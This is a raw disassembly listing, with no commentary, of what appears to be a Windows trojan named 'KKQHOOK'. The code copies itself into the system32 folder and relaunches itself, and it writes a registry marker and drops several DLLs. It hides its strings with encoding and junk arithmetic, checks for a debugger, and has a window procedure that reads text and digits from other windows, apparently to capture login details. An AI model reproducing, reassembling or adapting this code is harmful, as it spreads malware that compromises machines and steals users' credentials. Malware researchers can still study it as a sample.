		push	offset byte_446C2F
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_161]
		push	edi
		call	sub_40CC74
		add	esp, 10h
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_161]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_36C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AAB8
		call	sub_40844F
		jmp	short loc_40AAC3
; ---------------------------------------------------------------------------


loc_40AAB8:				; CODE XREF: sub_40AA24+8Bj
		push	[ebp+var_36C]
		call	sub_40C7AC	; CloseHandle


loc_40AAC3:				; CODE XREF: sub_40AA24+92j
		call	sub_40C764	; RtlGetLastWin32Error
		push	9
		push	offset aZ_1	; "±ºµ¶¸±°§²"
		call	sub_40129C
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		call	sub_40C7D0	; GetVersion
		mov	eax, [ebp+arg_0]
		mov	ds:dword_41E8CC, eax
		mov	ds:dword_419710, 94h
		call	sub_40C764	; RtlGetLastWin32Error
		push	offset dword_419710
		call	sub_40C7DC	; GetVersionExA
		mov	[ebp+var_166], 14B0h
		movzx	eax, [ebp+var_166]
		imul	eax, 2D29h
		mov	[ebp+var_166], ax
		push	0FFh
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		call	sub_40C7A0	; GetSystemDirectoryA
		mov	[ebp+var_167], 6Eh
		movzx	eax, [ebp+var_167]
		imul	eax, 5351h
		mov	[ebp+var_167], al
		call	sub_40C7C4	; GetTickCount
		push	eax
		call	sub_40CC5C
		mov	[ebp+var_168], 59h
		movzx	eax, [ebp+var_168]
		imul	eax, 49B8h
		mov	[ebp+var_168], al
		mov	eax, dword_446A3A
		mov	[ebp+var_780], eax
		push	104h
		lea	eax, [ebp+var_470]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C770	; GetModuleFileNameA
		call	sub_40C764	; RtlGetLastWin32Error
		and	[ebp+var_5C], 0
		mov	[ebp+var_474], 4
		mov	[ebp+var_16C], 665Eh
		mov	eax, 6DB4h
		mul	[ebp+var_16C]
		mov	[ebp+var_7B8], eax
		mov	[ebp+var_16C], eax
		lea	eax, [ebp+var_784]
		push	eax
		lea	eax, [ebp+var_474]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014C9
		add	esp, 24h
		mov	[ebp+var_478], eax
		mov	[ebp+var_5D], 0FBh
		movzx	eax, [ebp+var_5D]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5D], al
		cmp	[ebp+var_478], 0
		jz	short loc_40AC5D
		lea	edi, [ebp+var_7C1]
		lea	esi, aAg9	; " €ƒ9"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_5C], 1Dh
		jbe	short loc_40AC32
		mov	eax, 6
		sub	eax, dword_43C094
		push	eax
		call	sub_40CBFC
		pop	ecx


loc_40AC32:				; CODE XREF: sub_40AA24+1FAj
		cmp	[ebp+var_5C], 1Dh
		jz	loc_40AE0C
		mov	[ebp+var_7BC], 6267h
		mov	eax, 5DE7h
		mul	[ebp+var_7BC]
		mov	[ebp+var_7C8], eax
		mov	[ebp+var_7BC], eax


loc_40AC5D:				; CODE XREF: sub_40AA24+1E1j
		lea	edi, [ebp+var_78C]
		lea	esi, aDpuayyf	; "DpU€yYF"
		movsd
		movsd
		lea	edi, [ebp+var_792]
		lea	esi, aWq6ug	; "wq6Ug"
		mov	ecx, 3
		rep movsw
		call	sub_40CC38
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_2D], dl
		mov	[ebp+var_272], 223Eh
		movzx	eax, [ebp+var_272]
		imul	eax, 298Dh
		mov	[ebp+var_272], ax
		mov	[ebp+var_1], 1
		jmp	short loc_40ACF3
; ---------------------------------------------------------------------------


loc_40ACC6:				; CODE XREF: sub_40AA24+2D4j
		call	sub_40CC38
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_2D], dl
		add	[ebp+var_1], 1


loc_40ACF3:				; CODE XREF: sub_40AA24+2A0j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_40ACC6
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_25], 0
		call	sub_40CC38
		mov	edx, eax
		test	dl, 1
		jnz	short loc_40AD21
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_27], 33h
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_26], 32h


loc_40AD21:				; CODE XREF: sub_40AA24+2E9j
		push	9
		push	offset byte_446C1B
		call	sub_40129C
		lea	edi, [ebp+var_2D]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_270]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_795]
		lea	esi, aRf	; "rf"
		mov	ecx, 3
		rep movsb
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		lea	eax, [ebp+var_470]
		push	eax
		call	sub_40C86C	; CopyFileA
		mov	[ebp+var_278], 1F00h
		add	[ebp+var_278], 2126h
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_403BE7
		mov	ax, word_446A54
		mov	[ebp+var_797], ax
		mov	[ebp+var_5C], 1Dh
		push	4
		push	4
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_40160A
		add	esp, 34h
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_40C938	; WinExec
		mov	ebx, 5146h
		mov	eax, 3A35h
		mul	ebx
		mov	[ebp+var_7BC], eax
		mov	ebx, eax
		call	sub_40406B
		mov	[ebp+var_27C], 7EF6h
		add	[ebp+var_27C], 2A96h
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		call	sub_40C710	; ExitProcess
		call	sub_40C764	; RtlGetLastWin32Error


loc_40AE0C:				; CODE XREF: sub_40AA24+212j
		push	5
		push	offset byte_446C15
		call	sub_40129C
		push	offset aKkq32_dll ; "kkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_41FA00
		call	sub_40CC50
		call	sub_40C740	; GetCurrentThreadId
		push	5
		push	offset byte_446C15
		call	sub_40129C
		push	offset aDnkkq_dll ; "dnkkq.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_40F1E0
		call	sub_40CC50
		call	sub_40C740	; GetCurrentThreadId
		push	5
		push	offset byte_446C15
		call	sub_40129C
		push	offset aDatkkq32_dll ; "datkkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_40E080
		call	sub_40CC50
		mov	[ebp+var_27E], 3039h
		inc	[ebp+var_27E]
		push	0Eh
		push	offset byte_446BE5
		call	sub_40129C
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_41E8D0
		call	sub_40CC50
		push	0FFh
		push	offset dword_415080
		call	sub_40C7F4	; GetWindowsDirectoryA
		mov	[ebp+var_284], 5F78h
		mov	eax, 6104h
		mul	[ebp+var_284]
		mov	[ebp+var_7C0], eax
		mov	[ebp+var_284], eax
		push	9
		push	offset byte_446BDB
		call	sub_40129C
		push	eax
		push	offset dword_415080
		call	sub_40CC74
		mov	[ebp+var_286], 8EFh
		sub	[ebp+var_286], 6AEAh
		lea	eax, aKkqhook	; "KKQHOOK"
		mov	[ebp+var_31], eax
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, ds:dword_41E8CC
		mov	[ebp+var_45], eax
		lea	eax, sub_40B3E8
		mov	[ebp+var_51], eax
		push	7F00h
		push	0
		call	sub_40C9EC	; LoadCursorA
		mov	[ebp+var_3D], eax
		mov	[ebp+var_28C], 5A0Bh
		inc	[ebp+var_28C]
		push	7F03h
		push	0
		call	sub_40CA04	; LoadIconA
		mov	[ebp+var_41], eax
		call	sub_40C7C4	; GetTickCount
		and	[ebp+var_35], 0
		push	0
		call	sub_40CAE8	; GetStockObject
		mov	[ebp+var_39], eax
		lea	edi, [ebp+var_79F]
		lea	esi, a16xYi_	; "16X<Yi_"
		movsd
		movsd
		mov	[ebp+var_55], 3
		and	[ebp+var_4D], 0
		and	[ebp+var_49], 0
		lea	eax, [ebp+var_55]
		push	eax
		call	sub_40CA94	; RegisterClassA
		mov	[ebp+var_290], 4E7Bh
		sub	[ebp+var_290], 7B38h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CA0000h
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aKkqhook	; "KKQHOOK"
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41C7BC, eax
		push	offset aKkqhook_29 ; "KKQHOOK_29"
		push	0
		push	0
		call	sub_40C950	; CreateMutexA
		call	sub_40C7D0	; GetVersion
		push	2
		call	sub_402A48
		add	esp, 70h
		call	sub_40C764	; RtlGetLastWin32Error
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_40B05B
		mov	eax, dword_446A5E
		mov	[ebp+var_7C8], eax
		push	0Ch
		push	offset word_446BCE
		call	sub_40129C
		push	eax
		call	sub_40C77C	; GetModuleHandleA
		mov	edi, eax
		push	16h
		push	offset aJZaJzJvDjZz ; "†±³½§ ±¦‡±¦¢½·±„¦»·±§§"
		call	sub_40129C
		add	esp, 10h
		push	eax
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	[ebp-7C4h], eax
		call	sub_40C734	; GetCurrentProcessId
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		call	dword ptr [ebp-7C4h]
		lea	edi, [ebp+var_7CF]
		lea	esi, word_446A62
		mov	ecx, 7
		rep movsb


loc_40B05B:				; CODE XREF: sub_40AA24+5CFj
		push	104h
		lea	eax, [ebp+var_57C]
		push	eax
		push	0
		call	sub_40C770	; GetModuleFileNameA
		mov	[ebp+var_292], 1A3Fh
		inc	[ebp+var_292]
		lea	eax, [ebp+var_57C]
		push	eax
		call	sub_40341E
		push	offset dword_41FA00
		call	sub_40341E
		push	offset dword_40F1E0
		call	sub_40341E
		call	sub_40C7C4	; GetTickCount
		push	offset dword_40E080
		call	sub_40341E
		call	sub_40C7C4	; GetTickCount
		call	sub_40C734	; GetCurrentProcessId
		push	eax
		call	sub_4036BC
		mov	[ebp+var_293], 0A0h
		sub	[ebp+var_293], 3Ch
		lea	edi, [ebp+var_7A2]
		lea	esi, byte_446A69
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_2F7]
		push	eax
		call	sub_40399B
		call	sub_40C734	; GetCurrentProcessId
		and	[ebp+var_360], 0
		mov	[ebp+var_364], 64h
		push	45h
		push	offset aZAgJIsJZAigGzi ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½"...
		call	sub_40129C
		lea	edi, [ebp+var_360]
		push	edi
		lea	edi, [ebp+var_364]
		push	edi
		lea	edi, [ebp+var_35B]
		push	edi
		lea	edi, [ebp+var_2F7]
		push	edi
		push	eax
		push	80000002h
		call	sub_4014C9
		call	sub_40C764	; RtlGetLastWin32Error
		push	1
		push	offset byte_446B6F
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_35B]
		push	edi
		call	sub_4037CA
		lea	edi, [ebp+var_7AA]
		lea	esi, aAH@2du	; "€$H@2dU"
		movsd
		movsd
		push	1
		push	offset byte_446B6D
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_2F7]
		push	edi
		call	sub_4037CA
		call	sub_40C7C4	; GetTickCount
		mov	ax, word_446A74
		mov	[ebp+var_7AC], ax
		push	17h
		push	offset byte_446B55
		call	sub_40129C
		lea	edi, [ebp+var_35B]
		push	edi
		push	eax
		lea	edi, [ebp+var_77A]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_7AF]
		lea	esi, word_446A76
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_67B]
		push	eax
		push	0
		lea	eax, [ebp+var_77A]
		push	eax
		push	80000000h
		call	sub_4014C9
		lea	eax, [ebp+var_67B]
		push	eax
		call	sub_40341E
		call	sub_40C854	; IsDebuggerPresent
		call	sub_403A5F
		mov	[ebp+var_366], 6996h
		movzx	eax, [ebp+var_366]
		imul	eax, 6E78h
		mov	[ebp+var_366], ax
		push	offset sub_408048
		call	sub_407F07
		add	esp, 8Ch
		lea	eax, [ebp+var_7B4]
		push	eax
		push	0
		push	0
		push	offset sub_4098A8
		push	0
		push	0
		call	sub_40C980	; CreateThread
		push	eax
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId
		push	0
		mov	eax, dword_43C094
		add	eax, 1EFh
		push	eax
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	ds:dword_41C7BC
		call	sub_40C9F8	; SetTimer
		mov	[ebp+var_367], 0ADh
		add	[ebp+var_367], 1
		jmp	short loc_40B2B0
; ---------------------------------------------------------------------------


loc_40B280:				; CODE XREF: sub_40AA24+89Dj
		lea	edi, [ebp+var_7C3]
		lea	esi, byte_446A79
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40CA64	; TranslateMessage
		mov	eax, dword_446A7C
		mov	[ebp+var_7C8+1], eax
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40CA70	; DispatchMessageA


loc_40B2B0:				; CODE XREF: sub_40AA24+85Aj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40CA1C	; GetMessageA
		or	eax, eax
		jnz	short loc_40B280
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40AA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2CA	proc near		; DATA XREF: sub_408ED0+917o
					; sub_408ED0+94Fo ...

var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		cmp	eax, 100h
		jz	short loc_40B2EC
		jmp	short loc_40B35A
; ---------------------------------------------------------------------------
		call	sub_40C7D0	; GetVersion


loc_40B2EC:				; CODE XREF: sub_40B2CA+19j
		call	sub_40C794	; GetProcessHeap
		cmp	[ebp+arg_8], 9
		jnz	short loc_40B35A
		mov	eax, dword_446A80
		mov	[ebp+var_14], eax
		cmp	ebx, ds:dword_41081C
		jnz	short loc_40B312
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus


loc_40B312:				; CODE XREF: sub_40B2CA+3Bj
		call	sub_40C7D0	; GetVersion
		cmp	ebx, ds:dword_432DC0
		jnz	short loc_40B32A
		push	ds:dword_41E8C4
		call	sub_40C9D4	; SetFocus


loc_40B32A:				; CODE XREF: sub_40B2CA+53j
		call	sub_40C734	; GetCurrentProcessId
		cmp	ebx, ds:dword_41E8C4
		jnz	short loc_40B342
		push	ds:dword_41E8BC
		call	sub_40C9D4	; SetFocus


loc_40B342:				; CODE XREF: sub_40B2CA+6Bj
		cmp	ebx, ds:dword_41E8BC
		jnz	short loc_40B355
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus


loc_40B355:				; CODE XREF: sub_40B2CA+7Ej
		call	sub_40C794	; GetProcessHeap


loc_40B35A:				; CODE XREF: sub_40B2CA+1Bj
					; sub_40B2CA+2Bj
		and	[ebp+var_4], 0
		cmp	ebx, ds:dword_432DC0
		jnz	short loc_40B36E
		mov	eax, ds:dword_41F9F4
		mov	[ebp+var_4], eax


loc_40B36E:				; CODE XREF: sub_40B2CA+9Aj
		cmp	ebx, ds:dword_41E8C4
		jnz	short loc_40B37E
		mov	eax, ds:dword_41E8C0
		mov	[ebp+var_4], eax


loc_40B37E:				; CODE XREF: sub_40B2CA+AAj
		mov	[ebp+var_6], 5304h
		sub	[ebp+var_6], 7ADBh
		cmp	ebx, ds:dword_41081C
		jnz	short loc_40B39A
		mov	eax, ds:dword_40E078
		mov	[ebp+var_4], eax


loc_40B39A:				; CODE XREF: sub_40B2CA+C6j
		call	sub_40C734	; GetCurrentProcessId
		cmp	ebx, ds:dword_41E8BC
		jnz	short loc_40B3AF
		mov	eax, ds:dword_413F1C
		mov	[ebp+var_4], eax


loc_40B3AF:				; CODE XREF: sub_40B2CA+DBj
		lea	edi, [ebp+var_C]
		lea	esi, aPB6	; "p|b6"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_4], 0
		jz	short loc_40B3D9
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_4]
		call	sub_40C98C	; CallWindowProcA
		jmp	short loc_40B3E1
; ---------------------------------------------------------------------------


loc_40B3D9:				; CODE XREF: sub_40B2CA+F9j
		mov	[ebp+var_7], 8Bh
		add	[ebp+var_7], 1


loc_40B3E1:				; CODE XREF: sub_40B2CA+10Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B2CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3E8	proc near		; DATA XREF: sub_40AA24+4F0o

var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_22F		= byte ptr -22Fh
var_130		= byte ptr -130h
var_12B		= byte ptr -12Bh
var_126		= word ptr -126h
var_124		= byte ptr -124h
var_121		= dword	ptr -121h
var_11D		= byte ptr -11Dh
var_11A		= byte ptr -11Ah
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_100		= byte ptr -100h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 264h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C7h
		add	[ebp+var_1], 1
		mov	eax, [ebp+arg_4]
		cmp	eax, 10h
		jz	loc_40B5E9
		jg	short loc_40B418
		cmp	eax, 2
		jz	loc_40B5CE
		jmp	loc_40BC0A
; ---------------------------------------------------------------------------


loc_40B418:				; CODE XREF: sub_40B3E8+20j
		cmp	eax, 111h
		jz	loc_40B709
		cmp	eax, 113h
		jz	short loc_40B453
		cmp	eax, 111h
		jl	loc_40BC0A
		cmp	eax, 138h
		jz	loc_40B605
		jmp	loc_40BC0A
; ---------------------------------------------------------------------------
		mov	[ebp+var_104], 0C5h
		add	[ebp+var_104], 26h


loc_40B453:				; CODE XREF: sub_40B3E8+40j
		mov	[ebp+var_108], 4FC7h
		inc	[ebp+var_108]
		cmp	dword_43C220, 0
		jz	loc_40B57B
		mov	[ebp+var_238], 1930h
		add	[ebp+var_238], 3C79h
		push	9
		push	offset aRIA	; "»·›¶¾±· "
		call	sub_40129C
		push	eax
		push	dword_43C220
		call	sub_408E12
		mov	[ebp+var_23C], eax
		call	sub_40C734	; GetCurrentProcessId
		push	8
		push	offset aSmdJJ	; "‘¬¤¸»¦±¦"
		call	sub_40129C
		push	eax
		push	[ebp+var_23C]
		call	sub_408E12
		add	esp, 20h
		mov	[ebp+var_240], eax
		lea	eax, [ebp+var_250]
		push	eax
		push	[ebp+var_240]
		call	sub_40C9A4	; GetWindowRect
		or	eax, eax
		jz	loc_40B57B
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_260]
		push	eax
		push	ds:dword_41FB04
		call	sub_40C9A4	; GetWindowRect
		or	eax, eax
		jz	short loc_40B57B
		call	sub_40C7D0	; GetVersion
		mov	eax, [ebp+var_248]
		sub	eax, [ebp+var_250]
		sub	eax, 4
		mov	edx, [ebp+var_258]
		sub	edx, [ebp+var_260]
		cmp	eax, edx
		jnz	short loc_40B540
		mov	eax, [ebp+var_244]
		sub	eax, [ebp+var_24C]
		sub	eax, 4
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_25C]
		cmp	eax, edx
		jz	short loc_40B57B


loc_40B540:				; CODE XREF: sub_40B3E8+137j
		call	sub_40C7D0	; GetVersion
		push	1
		mov	eax, [ebp+var_244]
		sub	eax, [ebp+var_24C]
		push	eax
		mov	eax, [ebp+var_248]
		sub	eax, [ebp+var_250]
		push	eax
		push	0
		push	0
		push	ds:dword_41FB04
		call	sub_40CAD0	; MoveWindow
		mov	eax, off_446A89
		mov	[ebp+var_264], eax


loc_40B57B:				; CODE XREF: sub_40B3E8+82j
					; sub_40B3E8+F4j ...
		cmp	dword_43C21C, 0
		jz	loc_40BC22
		mov	[ebp+var_238], 5CFDh
		mov	eax, [ebp+var_238]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_238], edx
		mov	eax, dword_43C21C
		mov	dword_43C220, eax
		call	sub_40C7C4	; GetTickCount
		and	dword_43C21C, 0
		push	dword_43C220
		call	sub_408ED0
		pop	ecx
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40B3E8+25j
		mov	eax, ds:dword_41C7BC
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B5DF
		push	0
		call	sub_40CAA0	; PostQuitMessage


loc_40B5DF:				; CODE XREF: sub_40B3E8+1EEj
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B5E9:				; CODE XREF: sub_40B3E8+1Aj
		mov	eax, ds:dword_41C7BC
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B5FB
		push	[ebp+arg_0]
		call	sub_40CAC4	; DestroyWindow


loc_40B5FB:				; CODE XREF: sub_40B3E8+209j
		call	sub_40C764	; RtlGetLastWin32Error
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B605:				; CODE XREF: sub_40B3E8+52j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_114], eax
		cmp	eax, ds:dword_432DB8
		jz	short loc_40B642
		cmp	eax, ds:dword_413F20
		jz	short loc_40B642
		cmp	eax, ds:dword_41B7A8
		jz	short loc_40B642
		cmp	eax, ds:dword_4351D8
		jz	short loc_40B642
		cmp	eax, ds:dword_432DBC
		jz	short loc_40B642
		cmp	eax, ds:dword_43A558
		jnz	loc_40BC22


loc_40B642:				; CODE XREF: sub_40B3E8+22Cj
					; sub_40B3E8+234j ...
		mov	word ptr [ebp+var_238+2], 75BDh
		movzx	eax, word ptr [ebp+var_238+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_238+2], ax
		mov	eax, [ebp+var_114]
		cmp	eax, ds:dword_432DBC
		jz	short loc_40B675
		cmp	eax, ds:dword_43A558
		jnz	short loc_40B684


loc_40B675:				; CODE XREF: sub_40B3E8+283j
		push	1010B0h
		push	[ebp+arg_8]
		call	sub_40CB00	; SetTextColor
		jmp	short loc_40B68E
; ---------------------------------------------------------------------------


loc_40B684:				; CODE XREF: sub_40B3E8+28Bj
		push	0
		push	[ebp+arg_8]
		call	sub_40CB00	; SetTextColor


loc_40B68E:				; CODE XREF: sub_40B3E8+29Aj
		mov	word ptr [ebp+var_238],	64CAh
		movzx	eax, word ptr [ebp+var_238]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_238],	ax
		push	0FFFFFFh
		push	[ebp+arg_8]
		call	sub_40CAF4	; SetBkColor
		mov	byte ptr [ebp+var_23C+3], 5Dh
		sub	byte ptr [ebp+var_23C+3], 0FBh
		and	[ebp+var_254], 0
		and	[ebp+var_250], 0
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_40CB0C	; CreateBrushIndirect
		mov	[ebp+var_240], eax
		lea	edi, [ebp+var_248]
		lea	esi, aAhAq	; " *€h&€q"
		movsd
		movsd
		mov	eax, [ebp+var_240]
		jmp	loc_40BC22
; ---------------------------------------------------------------------------
		call	sub_40C764	; RtlGetLastWin32Error
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B709:				; CODE XREF: sub_40B3E8+35j
		lea	edi, [ebp+var_11A]
		lea	esi, aGjvry	; "gjVRy"
		mov	ecx, 3
		rep movsw
		push	2
		push	offset word_446B52
		call	sub_40129C
		push	offset byte_433FE0
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		call	sub_40C794	; GetProcessHeap
		push	0FFh
		lea	eax, [ebp+var_100]
		push	eax
		push	ds:dword_432DC0
		call	sub_40C998	; GetWindowTextA
		call	sub_40C734	; GetCurrentProcessId
		cmp	[ebp+var_100], 0
		jnz	short loc_40B79D
		call	sub_40C854	; IsDebuggerPresent
		push	1Fh
		push	offset word_446B32
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40CA10	; MessageBoxA
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B79D:				; CODE XREF: sub_40B3E8+37Ej
		push	5
		push	offset dword_446B2C
		call	sub_40129C
		lea	edi, [ebp+var_100]
		push	edi
		lea	edi, [ebp+var_22F]
		push	edi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		push	0FFh
		lea	eax, [ebp+var_100]
		push	eax
		push	ds:dword_41E8C4
		call	sub_40C998	; GetWindowTextA
		cmp	[ebp+var_100], 0
		jnz	short loc_40B822
		call	sub_40C7C4	; GetTickCount
		push	1Eh
		push	offset byte_446B0D
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40CA10	; MessageBoxA
		mov	eax, dword_446A9B
		mov	[ebp+var_238], eax
		push	ds:dword_41E8C4
		call	sub_40C9D4	; SetFocus
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B822:				; CODE XREF: sub_40B3E8+3FDj
		push	5
		push	offset byte_446B07
		call	sub_40129C
		lea	edi, [ebp+var_100]
		push	edi
		lea	edi, [ebp+var_22F]
		push	edi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		call	sub_40C7D0	; GetVersion
		push	0FFh
		lea	eax, [ebp+var_100]
		push	eax
		push	ds:dword_41E8BC
		call	sub_40C998	; GetWindowTextA
		lea	edi, [ebp+var_11D]
		lea	esi, byte_446A9F
		mov	ecx, 3
		rep movsb
		cmp	[ebp+var_100], 0
		jz	loc_40B9B8
		mov	[ebp+var_10C], 53E8h
		add	[ebp+var_10C], 3B86h
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh


loc_40B8A5:				; CODE XREF: sub_40B3E8+4C2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B8A5
		cmp	eax, 4
		jb	loc_40B9B8
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_102], 0
		jmp	short loc_40B8E5
; ---------------------------------------------------------------------------


loc_40B8C3:				; CODE XREF: sub_40B3E8+516j
		movzx	eax, [ebp+var_102]
		mov	al, [ebp+eax+var_100]
		cmp	al, 30h
		jl	short loc_40B8D9
		cmp	al, 39h
		jle	short loc_40B8DE


loc_40B8D9:				; CODE XREF: sub_40B3E8+4EBj
		jmp	loc_40B9B8
; ---------------------------------------------------------------------------


loc_40B8DE:				; CODE XREF: sub_40B3E8+4EFj
		add	[ebp+var_102], 1


loc_40B8E5:				; CODE XREF: sub_40B3E8+4D9j
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh


loc_40B8EE:				; CODE XREF: sub_40B3E8+50Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B8EE
		movzx	esi, [ebp+var_102]
		cmp	esi, eax
		jb	short loc_40B8C3
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_101], 0
		jmp	loc_40B997
; ---------------------------------------------------------------------------


loc_40B911:				; CODE XREF: sub_40B3E8+5C8j
		mov	byte ptr [ebp+var_238+2], 0EEh
		sub	byte ptr [ebp+var_238+2], 96h
		call	sub_40C764	; RtlGetLastWin32Error
		mov	al, [ebp+var_101]
		mov	byte ptr [ebp+var_238+3], al
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------


